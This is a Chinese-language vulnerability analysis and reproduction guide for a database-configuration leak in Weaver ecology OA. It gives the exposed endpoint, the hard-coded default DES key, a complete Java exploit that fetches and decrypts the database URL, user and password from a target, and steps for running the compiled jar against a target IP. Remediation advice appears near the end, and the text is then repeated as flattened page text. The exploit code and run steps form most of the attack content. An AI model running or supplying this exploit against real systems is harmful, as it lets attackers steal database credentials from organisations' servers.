泛微ecology OA系统某接口存在数据库配置信息泄露漏洞分析
字数 806 2025-08-26 22:11:28

泛微ecology OA系统数据库配置信息泄露漏洞分析与复现

漏洞概述

泛微ecology OA系统(版本包括但不限于8.0、9.0)存在一个数据库配置信息泄露漏洞,攻击者可以通过特定接口获取系统的数据库连接信息,包括数据库URL、用户名和密码等敏感信息。

漏洞影响范围

使用fofa搜索可发现影响范围较大,影响版本包括但不限于8.0、9.0版本。

漏洞分析

漏洞原理

  1. 系统通过/mobile/DBconfigReader.jsp接口暴露数据库配置信息
  2. 配置信息使用DES算法加密,密钥为1z2x3c4v5b6n
  3. 加密数据由URL、user、password和logintype组成

加密过程

  1. 原始字符串(sb)由url、user、password和logintype组成
  2. 将sb字符串转换为字节
  3. 使用密钥字符串1z2x3c4v5b6n转换为字节(keyByte)
  4. 创建DESkeySpec类对象(dsk1)
  5. 进行DES加密操作

漏洞利用

解密实现

以下是Java实现的DES解密代码:

/**
 * 解密实现
 * @param src byte[] 加密数据
 * @param password String 密钥
 * @return byte[] 解密后的数据
 * @throws Exception
 */
public static byte[] decrypt(byte[] src, String password) throws Exception {
    // DES算法要求有一个可信任的随机数源
    SecureRandom random = new SecureRandom();
    // 创建一个DESKeySpec对象
    DESKeySpec desKey = new DESKeySpec(password.getBytes());
    // 创建一个密匙工厂
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
    // 将DESKeySpec对象转换成SecretKey对象
    SecretKey securekey = keyFactory.generateSecret(desKey);
    // Cipher对象实际完成解密操作
    Cipher cipher = Cipher.getInstance("DES");
    // 用密匙初始化Cipher对象
    cipher.init(Cipher.DECRYPT_MODE, securekey, random);
    // 真正开始解密操作
    return cipher.doFinal(src);
}

完整利用代码

package com.test;

import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import java.security.SecureRandom;

public class ReadDbConfig {
    private final static String DES = "DES";
    private final static String key = "1z2x3c4v5b6n";

    public static void main(String[] args) throws Exception {
        if (args[0] != null && args[0].length() != 0) {
            String url = args[0] + "/mobile/DBconfigReader.jsp";
            System.out.println(ReadConfig(url));
        } else {
            System.err.print("use: java -jar ecologyExp http://127.0.0.1");
        }
    }

    private static String ReadConfig(String url) throws Exception {
        CloseableHttpClient httpClient = HttpClientBuilder.create().build();
        HttpGet httpGet = new HttpGet(url);
        CloseableHttpResponse response = httpClient.execute(httpGet);
        HttpEntity responseEntity = response.getEntity();
        byte[] res1 = EntityUtils.toByteArray(responseEntity);
        byte[] data = subBytes(res1, 10, res1.length - 10);
        byte[] finaldata = decrypt(data, key.getBytes());
        return (new String(finaldata));
    }

    private static byte[] decrypt(byte[] data, byte[] key) throws Exception {
        SecureRandom sr = new SecureRandom();
        DESKeySpec dks = new DESKeySpec(key);
        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
        SecretKey securekey = keyFactory.generateSecret(dks);
        Cipher cipher = Cipher.getInstance(DES);
        cipher.init(Cipher.DECRYPT_MODE, securekey, sr);
        return cipher.doFinal(data);
    }

    public static byte[] subBytes(byte[] src, int begin, int count) {
        byte[] bs = new byte[count];
        System.arraycopy(src, begin, bs, 0, count);
        return bs;
    }
}

复现步骤

  1. 编译上述Java代码为可执行jar文件
  2. 执行命令:java -jar ecologyExp.jar http://target-ip
  3. 如果系统使用默认密钥,将返回解密后的数据库配置信息

注意事项

  1. 部分系统可能使用了自定义密钥而非默认的1z2x3c4v5b6n,此时无法解密
  2. 复现过程中可能遇到的错误:
    • 目标系统不存在漏洞接口
    • 目标系统使用了自定义加密密钥
    • 网络连接问题导致无法访问目标接口

修复建议

  1. 升级到最新版本
  2. 修改默认加密密钥
  3. 限制/mobile/DBconfigReader.jsp接口的访问权限
  4. 定期检查系统日志,监控异常访问行为

技术要点总结

  1. 漏洞利用需要掌握DES加密算法原理
  2. Java加密解密API的使用
  3. HTTP客户端编程
  4. 字节数组操作技巧
  5. 异常处理和调试技巧
泛微ecology OA系统数据库配置信息泄露漏洞分析与复现 漏洞概述 泛微ecology OA系统(版本包括但不限于8.0、9.0)存在一个数据库配置信息泄露漏洞,攻击者可以通过特定接口获取系统的数据库连接信息,包括数据库URL、用户名和密码等敏感信息。 漏洞影响范围 使用fofa搜索可发现影响范围较大,影响版本包括但不限于8.0、9.0版本。 漏洞分析 漏洞原理 系统通过 /mobile/DBconfigReader.jsp 接口暴露数据库配置信息 配置信息使用DES算法加密,密钥为 1z2x3c4v5b6n 加密数据由URL、user、password和logintype组成 加密过程 原始字符串(sb)由url、user、password和logintype组成 将sb字符串转换为字节 使用密钥字符串 1z2x3c4v5b6n 转换为字节(keyByte) 创建DESkeySpec类对象(dsk1) 进行DES加密操作 漏洞利用 解密实现 以下是Java实现的DES解密代码: 完整利用代码 复现步骤 编译上述Java代码为可执行jar文件 执行命令: java -jar ecologyExp.jar http://target-ip 如果系统使用默认密钥,将返回解密后的数据库配置信息 注意事项 部分系统可能使用了自定义密钥而非默认的 1z2x3c4v5b6n ,此时无法解密 复现过程中可能遇到的错误: 目标系统不存在漏洞接口 目标系统使用了自定义加密密钥 网络连接问题导致无法访问目标接口 修复建议 升级到最新版本 修改默认加密密钥 限制 /mobile/DBconfigReader.jsp 接口的访问权限 定期检查系统日志,监控异常访问行为 技术要点总结 漏洞利用需要掌握DES加密算法原理 Java加密解密API的使用 HTTP客户端编程 字节数组操作技巧 异常处理和调试技巧